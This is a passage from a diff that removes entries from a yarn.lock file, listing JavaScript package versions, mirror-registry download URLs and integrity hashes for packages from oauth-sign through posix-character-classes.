-  integrity sha1-IEh5qePQaP8qVROcLHcngGgaOLc=
-
-oauth-sign@~0.9.0:
-  version "0.9.0"
-  resolved "https://registry.nlark.com/oauth-sign/download/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
-  integrity sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=
-
-object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.nlark.com/object-assign/download/object-assign-4.1.1.tgz?cache=0&sync_timestamp=1618847043548&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject-assign%2Fdownload%2Fobject-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-object-copy@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/object-copy/download/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
-  dependencies:
-    copy-descriptor "^0.1.0"
-    define-property "^0.2.5"
-    kind-of "^3.0.3"
-
-object-hash@^2.0.1:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/object-hash/download/object-hash-2.2.0.tgz#5ad518581eefc443bd763472b8ff2e9c2c0d54a5"
-  integrity sha1-WtUYWB7vxEO9djRyuP8unCwNVKU=
-
-object-inspect@^1.10.3, object-inspect@^1.9.0:
-  version "1.10.3"
-  resolved "https://registry.nlark.com/object-inspect/download/object-inspect-1.10.3.tgz#c2aa7d2d09f50c99375704f7a0adf24c5782d369"
-  integrity sha1-wqp9LQn1DJk3VwT3oK3yTFeC02k=
-
-object-is@^1.0.1:
-  version "1.1.5"
-  resolved "https://registry.npm.taobao.org/object-is/download/object-is-1.1.5.tgz?cache=0&sync_timestamp=1613857698573&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject-is%2Fdownload%2Fobject-is-1.1.5.tgz#b9deeaa5fc7f1846a0faecdceec138e5778f53ac"
-  integrity sha1-ud7qpfx/GEag+uzc7sE45XePU6w=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-object-keys@^1.0.12, object-keys@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/object-keys/download/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
-  integrity sha1-HEfyct8nfzsdrwYWd9nILiMixg4=
-
-object-path@0.11.4:
-  version "0.11.4"
-  resolved "https://registry.npm.taobao.org/object-path/download/object-path-0.11.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject-path%2Fdownload%2Fobject-path-0.11.4.tgz#370ae752fbf37de3ea70a861c23bba8915691949"
-  integrity sha1-NwrnUvvzfePqcKhhwju6iRVpGUk=
-
-object-visit@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/object-visit/download/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
-  dependencies:
-    isobject "^3.0.0"
-
-object.assign@^4.1.0, object.assign@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.nlark.com/object.assign/download/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
-  integrity sha1-DtVKNC7Os3s4/3brgxoOeIy2OUA=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    has-symbols "^1.0.1"
-    object-keys "^1.1.1"
-
-object.entries@^1.1.0, object.entries@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/object.entries/download/object.entries-1.1.4.tgz?cache=0&sync_timestamp=1622071045693&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject.entries%2Fdownload%2Fobject.entries-1.1.4.tgz#43ccf9a50bc5fd5b649d45ab1a579f24e088cafd"
-  integrity sha1-Q8z5pQvF/VtknUWrGlefJOCIyv0=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-
-object.fromentries@^2.0.2:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/object.fromentries/download/object.fromentries-2.0.4.tgz#26e1ba5c4571c5c6f0890cef4473066456a120b8"
-  integrity sha1-JuG6XEVxxcbwiQzvRHMGZFahILg=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-    has "^1.0.3"
-
-object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.0, object.getownpropertydescriptors@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/object.getownpropertydescriptors/download/object.getownpropertydescriptors-2.1.2.tgz?cache=0&sync_timestamp=1613860004199&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject.getownpropertydescriptors%2Fdownload%2Fobject.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7"
-  integrity sha1-G9Y66s8NXS0vMbXjk7A6fGAaI/c=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-
-object.pick@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/object.pick/download/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
-  dependencies:
-    isobject "^3.0.1"
-
-object.values@^1.1.0, object.values@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/object.values/download/object.values-1.1.4.tgz?cache=0&sync_timestamp=1622070620040&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject.values%2Fdownload%2Fobject.values-1.1.4.tgz#0d273762833e816b693a637d30073e7051535b30"
-  integrity sha1-DSc3YoM+gWtpOmN9MAc+cFFTWzA=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-
-obuf@^1.0.0, obuf@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/obuf/download/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
-  integrity sha1-Cb6jND1BhZ69RGKS0RydTbYZCE4=
-
-on-finished@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/on-finished/download/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-  integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
-  dependencies:
-    ee-first "1.1.1"
-
-on-headers@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/on-headers/download/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
-  integrity sha1-dysK5qqlJcOZ5Imt+tkMQD6zwo8=
-
-once@^1.3.0, once@^1.3.1, once@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.nlark.com/once/download/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-  dependencies:
-    wrappy "1"
-
-onetime@^5.1.0:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/onetime/download/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
-  integrity sha1-0Oluu1awdHbfHdnEgG5SN5hcpF4=
-  dependencies:
-    mimic-fn "^2.1.0"
-
-open@^7.0.2:
-  version "7.4.2"
-  resolved "https://registry.nlark.com/open/download/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321"
-  integrity sha1-uBR+Jtzz5CYxbHMAif1x7dKcIyE=
-  dependencies:
-    is-docker "^2.0.0"
-    is-wsl "^2.1.1"
-
-opn@^5.5.0:
-  version "5.5.0"
-  resolved "https://registry.nlark.com/opn/download/opn-5.5.0.tgz#fc7164fab56d235904c51c3b27da6758ca3b9bfc"
-  integrity sha1-/HFk+rVtI1kExRw7J9pnWMo7m/w=
-  dependencies:
-    is-wsl "^1.1.0"
-
-optimize-css-assets-webpack-plugin@5.0.3:
-  version "5.0.3"
-  resolved "https://registry.nlark.com/optimize-css-assets-webpack-plugin/download/optimize-css-assets-webpack-plugin-5.0.3.tgz#e2f1d4d94ad8c0af8967ebd7cf138dcb1ef14572"
-  integrity sha1-4vHU2UrYwK+JZ+vXzxONyx7xRXI=
-  dependencies:
-    cssnano "^4.1.10"
-    last-call-webpack-plugin "^3.0.0"
-
-optionator@^0.8.1, optionator@^0.8.3:
-  version "0.8.3"
-  resolved "https://registry.nlark.com/optionator/download/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
-  integrity sha1-hPodA2/p08fiHZmIS2ARZ+yPtJU=
-  dependencies:
-    deep-is "~0.1.3"
-    fast-levenshtein "~2.0.6"
-    levn "~0.3.0"
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-    word-wrap "~1.2.3"
-
-original@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/original/download/original-1.0.2.tgz#e442a61cffe1c5fd20a65f3261c26663b303f25f"
-  integrity sha1-5EKmHP/hxf0gpl8yYcJmY7MD8l8=
-  dependencies:
-    url-parse "^1.4.3"
-
-os-browserify@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/os-browserify/download/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
-  integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
-
-os-locale@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/os-locale/download/os-locale-3.1.0.tgz#a802a6ee17f24c10483ab9935719cef4ed16bf1a"
-  integrity sha1-qAKm7hfyTBBIOrmTVxnO9O0Wvxo=
-  dependencies:
-    execa "^1.0.0"
-    lcid "^2.0.0"
-    mem "^4.0.0"
-
-os-tmpdir@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/os-tmpdir/download/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
-
-p-defer@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/p-defer/download/p-defer-1.0.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-defer%2Fdownload%2Fp-defer-1.0.0.tgz#9f6eb182f6c9aa8cd743004a7d4f96b196b0fb0c"
-  integrity sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=
-
-p-each-series@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/p-each-series/download/p-each-series-1.0.0.tgz#930f3d12dd1f50e7434457a22cd6f04ac6ad7f71"
-  integrity sha1-kw89Et0fUOdDRFeiLNbwSsatf3E=
-  dependencies:
-    p-reduce "^1.0.0"
-
-p-finally@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/p-finally/download/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-  integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
-
-p-is-promise@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/p-is-promise/download/p-is-promise-2.1.0.tgz#918cebaea248a62cf7ffab8e3bca8c5f882fc42e"
-  integrity sha1-kYzrrqJIpiz3/6uOO8qMX4gvxC4=
-
-p-limit@^1.1.0:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/p-limit/download/p-limit-1.3.0.tgz#b86bd5f0c25690911c7590fcbfc2010d54b3ccb8"
-  integrity sha1-uGvV8MJWkJEcdZD8v8IBDVSzzLg=
-  dependencies:
-    p-try "^1.0.0"
-
-p-limit@^2.0.0, p-limit@^2.2.0, p-limit@^2.2.2:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/p-limit/download/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
-  integrity sha1-PdM8ZHohT9//2DWTPrCG2g3CHbE=
-  dependencies:
-    p-try "^2.0.0"
-
-p-locate@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/p-locate/download/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43"
-  integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=
-  dependencies:
-    p-limit "^1.1.0"
-
-p-locate@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/p-locate/download/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
-  integrity sha1-Mi1poFwCZLJZl9n0DNiokasAZKQ=
-  dependencies:
-    p-limit "^2.0.0"
-
-p-locate@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/p-locate/download/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
-  integrity sha1-o0KLtwiLOmApL2aRkni3wpetTwc=
-  dependencies:
-    p-limit "^2.2.0"
-
-p-map@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/p-map/download/p-map-2.1.0.tgz#310928feef9c9ecc65b68b17693018a665cea175"
-  integrity sha1-MQko/u+cnsxltosXaTAYpmXOoXU=
-
-p-map@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/p-map/download/p-map-3.0.0.tgz#d704d9af8a2ba684e2600d9a215983d4141a979d"
-  integrity sha1-1wTZr4orpoTiYA2aIVmD1BQal50=
-  dependencies:
-    aggregate-error "^3.0.0"
-
-p-reduce@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/p-reduce/download/p-reduce-1.0.0.tgz#18c2b0dd936a4690a529f8231f58a0fdb6a47dfa"
-  integrity sha1-GMKw3ZNqRpClKfgjH1ig/bakffo=
-
-p-retry@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/p-retry/download/p-retry-3.0.1.tgz#316b4c8893e2c8dc1cfa891f406c4b422bebf328"
-  integrity sha1-MWtMiJPiyNwc+okfQGxLQivr8yg=
-  dependencies:
-    retry "^0.12.0"
-
-p-try@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/p-try/download/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3"
-  integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=
-
-p-try@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/p-try/download/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
-  integrity sha1-yyhoVA4xPWHeWPr741zpAE1VQOY=
-
-pako@~1.0.5:
-  version "1.0.11"
-  resolved "https://registry.nlark.com/pako/download/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
-  integrity sha1-bJWZ00DVTf05RjgCUqNXBaa5kr8=
-
-parallel-transform@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/parallel-transform/download/parallel-transform-1.2.0.tgz#9049ca37d6cb2182c3b1d2c720be94d14a5814fc"
-  integrity sha1-kEnKN9bLIYLDsdLHIL6U0UpYFPw=
-  dependencies:
-    cyclist "^1.0.1"
-    inherits "^2.0.3"
-    readable-stream "^2.1.5"
-
-param-case@^3.0.3:
-  version "3.0.4"
-  resolved "https://registry.nlark.com/param-case/download/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
-  integrity sha1-fRf+SqEr3jTUp32RrPtiGcqtAcU=
-  dependencies:
-    dot-case "^3.0.4"
-    tslib "^2.0.3"
-
-parent-module@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/parent-module/download/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
-  integrity sha1-aR0nCeeMefrjoVZiJFLQB2LKqqI=
-  dependencies:
-    callsites "^3.0.0"
-
-parse-asn1@^5.0.0, parse-asn1@^5.1.5:
-  version "5.1.6"
-  resolved "https://registry.nlark.com/parse-asn1/download/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
-  integrity sha1-OFCAo+wTy2KmLTlAnLPoiETNrtQ=
-  dependencies:
-    asn1.js "^5.2.0"
-    browserify-aes "^1.0.0"
-    evp_bytestokey "^1.0.0"
-    pbkdf2 "^3.0.3"
-    safe-buffer "^5.1.1"
-
-parse-json@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/parse-json/download/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9"
-  integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=
-  dependencies:
-    error-ex "^1.2.0"
-
-parse-json@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/parse-json/download/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0"
-  integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=
-  dependencies:
-    error-ex "^1.3.1"
-    json-parse-better-errors "^1.0.1"
-
-parse-json@^5.0.0:
-  version "5.2.0"
-  resolved "https://registry.nlark.com/parse-json/download/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
-  integrity sha1-x2/Gbe5UIxyWKyK8yKcs8vmXU80=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    error-ex "^1.3.1"
-    json-parse-even-better-errors "^2.3.0"
-    lines-and-columns "^1.1.6"
-
-parse5@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/parse5/download/parse5-4.0.0.tgz#6d78656e3da8d78b4ec0b906f7c08ef1dfe3f608"
-  integrity sha1-bXhlbj2o14tOwLkG98CO8d/j9gg=
-
-parse5@5.1.0:
-  version "5.1.0"
-  resolved "https://registry.nlark.com/parse5/download/parse5-5.1.0.tgz#c59341c9723f414c452975564c7c00a68d58acd2"
-  integrity sha1-xZNByXI/QUxFKXVWTHwApo1YrNI=
-
-parseurl@~1.3.2, parseurl@~1.3.3:
-  version "1.3.3"
-  resolved "https://registry.npm.taobao.org/parseurl/download/parseurl-1.3.3.tgz?cache=0&sync_timestamp=1599054201722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fparseurl%2Fdownload%2Fparseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
-  integrity sha1-naGee+6NEt/wUT7Vt2lXeTvC6NQ=
-
-pascal-case@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.npm.taobao.org/pascal-case/download/pascal-case-3.1.2.tgz?cache=0&sync_timestamp=1606867325163&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpascal-case%2Fdownload%2Fpascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
-  integrity sha1-tI4O8rmOIF58Ha50fQsVCCN2YOs=
-  dependencies:
-    no-case "^3.0.4"
-    tslib "^2.0.3"
-
-pascalcase@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/pascalcase/download/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
-
-path-browserify@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.nlark.com/path-browserify/download/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
-  integrity sha1-5sTd1+06onxoogzE5Q4aTug7vEo=
-
-path-dirname@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/path-dirname/download/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-  integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
-
-path-exists@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/path-exists/download/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
-  integrity sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=
-  dependencies:
-    pinkie-promise "^2.0.0"
-
-path-exists@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-  integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
-
-path-exists@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/path-exists/download/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
-  integrity sha1-UTvb4tO5XXdi6METfvoZXGxhtbM=
-
-path-is-absolute@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-is-inside@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/path-is-inside/download/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
-
-path-key@^2.0.0, path-key@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/path-key/download/path-key-2.0.1.tgz?cache=0&sync_timestamp=1617971695678&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
-
-path-key@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz?cache=0&sync_timestamp=1617971695678&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
-  integrity sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U=
-
-path-parse@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.nlark.com/path-parse/download/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
-  integrity sha1-+8EUtgykKzDZ2vWFjkvWi77bZzU=
-
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.nlark.com/path-to-regexp/download/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-path-type@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/path-type/download/path-type-2.0.0.tgz?cache=0&sync_timestamp=1611752107592&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-type%2Fdownload%2Fpath-type-2.0.0.tgz#f012ccb8415b7096fc2daa1054c3d72389594c73"
-  integrity sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=
-  dependencies:
-    pify "^2.0.0"
-
-path-type@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/path-type/download/path-type-3.0.0.tgz?cache=0&sync_timestamp=1611752107592&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-type%2Fdownload%2Fpath-type-3.0.0.tgz#cef31dc8e0a1a3bb0d105c0cd97cf3bf47f4e36f"
-  integrity sha1-zvMdyOCho7sNEFwM2Xzzv0f0428=
-  dependencies:
-    pify "^3.0.0"
-
-path-type@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/path-type/download/path-type-4.0.0.tgz?cache=0&sync_timestamp=1611752107592&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-type%2Fdownload%2Fpath-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
-  integrity sha1-hO0BwKe6OAr+CdkKjBgNzZ0DBDs=
-
-pbkdf2@^3.0.3:
-  version "3.1.2"
-  resolved "https://registry.nlark.com/pbkdf2/download/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
-  integrity sha1-3YIqoIh1gOUvGgOdw+2hCO+uMHU=
-  dependencies:
-    create-hash "^1.1.2"
-    create-hmac "^1.1.4"
-    ripemd160 "^2.0.1"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-performance-now@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/performance-now/download/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-  integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-picomatch@^2.0.4, picomatch@^2.2.1:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/picomatch/download/picomatch-2.3.0.tgz?cache=0&sync_timestamp=1621648246651&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpicomatch%2Fdownload%2Fpicomatch-2.3.0.tgz#f1f061de8f6a4bf022892e2d128234fb98302972"
-  integrity sha1-8fBh3o9qS/AiiS4tEoI0+5gwKXI=
-
-pify@^2.0.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
-
-pify@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-  integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
-
-pify@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
-  integrity sha1-SyzSXFDVmHNcUCkiJP2MbfQeMjE=
-
-pinkie-promise@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/pinkie-promise/download/pinkie-promise-2.0.1.tgz?cache=0&sync_timestamp=1618847023792&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpinkie-promise%2Fdownload%2Fpinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
-  dependencies:
-    pinkie "^2.0.0"
-
-pinkie@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/pinkie/download/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
-
-pirates@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/pirates/download/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87"
-  integrity sha1-ZDqSyviUVm+RsrmG0sZpUKji+4c=
-  dependencies:
-    node-modules-regexp "^1.0.0"
-
-pkg-dir@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-1.0.0.tgz#7a4b508a8d5bb2d629d447056ff4e9c9314cf3d4"
-  integrity sha1-ektQio1bstYp1EcFb/TpyTFM89Q=
-  dependencies:
-    find-up "^1.0.0"
-
-pkg-dir@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b"
-  integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=
-  dependencies:
-    find-up "^2.1.0"
-
-pkg-dir@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
-  integrity sha1-J0kCDyOe2ZCIGx9xIQ1R62UjvqM=
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-dir@^4.1.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
-  integrity sha1-8JkTPfft5CLoHR2ESCcO6z5CYfM=
-  dependencies:
-    find-up "^4.0.0"
-
-pkg-up@3.1.0, pkg-up@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/pkg-up/download/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
-  integrity sha1-EA7CNcwVDk/UJRlBJZaihRKg3vU=
-  dependencies:
-    find-up "^3.0.0"
-
-pn@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/pn/download/pn-1.1.0.tgz#e2f4cef0e219f463c179ab37463e4e1ecdccbafb"
-  integrity sha1-4vTO8OIZ9GPBeas3Rj5OHs3Muvs=
-
-pnp-webpack-plugin@1.6.4:
-  version "1.6.4"
-  resolved "https://registry.npm.taobao.org/pnp-webpack-plugin/download/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149"
-  integrity sha1-yXEaxNxIpoXauvyG+Lbdn434QUk=
-  dependencies:
-    ts-pnp "^1.1.6"
-
-portfinder@^1.0.25:
-  version "1.0.28"
-  resolved "https://registry.nlark.com/portfinder/download/portfinder-1.0.28.tgz#67c4622852bd5374dd1dd900f779f53462fac778"
-  integrity sha1-Z8RiKFK9U3TdHdkA93n1NGL6x3g=
-  dependencies:
-    async "^2.6.2"
-    debug "^3.1.1"
-    mkdirp "^0.5.5"
-
-posix-character-classes@^0.1.0:
-  version "0.1.1"
